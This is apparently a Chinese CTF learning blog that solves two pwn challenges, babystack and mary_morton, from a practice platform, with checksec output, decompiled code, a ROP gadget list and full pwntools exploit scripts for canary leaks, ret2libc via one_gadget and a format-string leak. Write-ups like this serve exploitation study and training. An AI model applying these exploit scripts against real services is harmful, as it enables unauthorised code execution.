Day2 - 一些pwn题

今天打算写点题,没得指导下写题才能清楚知道自己水平orz

平台:

攻防世界

babystack

先看看保护

1
2
3
4
5
6
7
$ checksec babystack 
[*] '/home/critiz/Desktop/babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

然后ida打开分析。

程序流程很简单,就是对给定的缓冲区进行输入和输出。然后有栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
menu();
v3 = get_number();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
pputs("invalid choice");
break;
}
pputs((const char *)&unk_400AE7);
}
}

很显然,缓冲区只有0x90大小,但是可以输入0x100个字节,而我一开始脑子不清醒,以为只能溢出0x10个字节。。。再考虑了构造fake frame无果(不知道可不可以。。。没想出来orz)。然后发现这好像不止0x10个字节= =

知道溢出字节足够的情况下确实就很简单了,大致思路如下:

  • 由于程序开了canary,所以要先泄露canary
  • 覆盖返回地址到puts函数上,泄露库函数的地址,然后计算one gadget的地址
  • 程序再次执行,将返回地址修改成one gadget地址

在写的过程中,由于选择了功能后是直接输入,输入是由read函数完成的,就会导致下一次的输入会输入到上一次输入的缓冲区里,这样就导致输入乱套orz。解决办法比如在第一次输入以后sleep(1),这样就能隔开,或者在输入选择的时候,用\x00字节将缓冲区填满。这两个方式怎么选。。。那当然是我全都要orz

还有就是在泄露库函数的时候,由于程序是64位的,所以前6个参数是通过寄存器传递的(在这里调试好久,太菜了orz),可以借助ROPgadget找到合适的指令来完成修改寄存器值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ROPgadget --binary babystack --only 'pop|ret'
Gadgets information
============================================================
0x0000000000400a8c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a8e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a90 : pop r14 ; pop r15 ; ret
0x0000000000400a92 : pop r15 ; ret
0x0000000000400a8b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a8f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400778 : pop rbp ; ret
0x0000000000400a93 : pop rdi ; ret
0x0000000000400a91 : pop rsi ; pop r15 ; ret
0x0000000000400a8d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040067e : ret
0x0000000000400288 : ret 0x6c1f
0x0000000000400811 : ret 0x8b48

Unique gadgets found: 13

0x400a93刚好就合适。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
import LibcSearcher
import sys

if len(sys.argv) == 1:
p = process('./babystack')
elif sys.argv[1] == 'g':
p = process('./babystack')
gdb.attach(p)#, 'b *0x400908\nc')
else:
p = remote('111.198.29.45',38956)

libc = ELF('./libc-2.23.so')
elf = ELF('./babystack')

def pad(i):
return i.ljust(0x1f,'\x00')

# get the canary
p.recvuntil('>> ')
p.sendline(pad('1'))

sleep(1)
payload = 'a'*0x88
p.sendline(payload)

p.recvuntil('>> ')
p.sendline(pad('2'))
p.recvuntil('\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info('canary '+hex(canary))

# get the libc base
p.recvuntil('>> ')
p.sendline(pad('1'))
sleep(1)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi_ret = 0x400a93

payload = '\x00'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(main_addr)
p.sendline(payload)

p.recvuntil('>> ')
p.sendline('3')

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('puts addr '+hex(puts_addr))

# get shell
one_gadget = 0x45216 # 0x45216 0x4526a 0xf02a4 0xf1147
libc_base = puts_addr - libc.symbols['puts']
tar_addr = libc_base +one_gadget

p.recvuntil('>> ')
p.sendline(pad('1'))

payload = '\x00'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(tar_addr)
p.sendline(payload)

p.recvuntil('>> ')
p.sendline(pad('3'))

p.interactive()

mary_morton

先看保护

1
2
3
4
5
6
7
$ checksec mary_morton 
[*] '/home/critiz/Desktop/mary_morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

这个题目就很善良2333可以选择两种漏洞,一个是栈溢出,一个是格式化字符串。而且还给了获取flag的函数

1
2
3
4
int target_4008DA()
{
return system("/bin/cat ./flag");
}

程序利用思路也比较直白:

  • 由于程序开了canary保护,通过格式化字符串漏洞,可以泄露canary的值
  • 得到canary后,直接通过栈溢出,将返回地址该成target函数地址

这个也没什么坑,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

DEBUG = 1

if DEBUG == 1:
p = process('./mary_morton')
#gdb.attach(p)
else:
p = remote('111.198.29.45',30020)

tar_addr = 0x4008DA

p.recvuntil('3. Exit the battle \n')
p.sendline('2')

payload = '0x%23$llx'
p.sendline(payload)
#p.recvuntil('\n')
canary = int(p.recvuntil('\n')[:-1],16)

log.info(hex(canary))

p.sendline('1')

payload = 'b'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(tar_addr)
p.sendline(payload)

p.interactive()

monkey

这个题,emmm由于命令行有os.system()这个函数调用,所以直接get shell就可以了。。。

第一次做这种类型的pwn题,完全摸不着头脑orz

d2_ex_1.png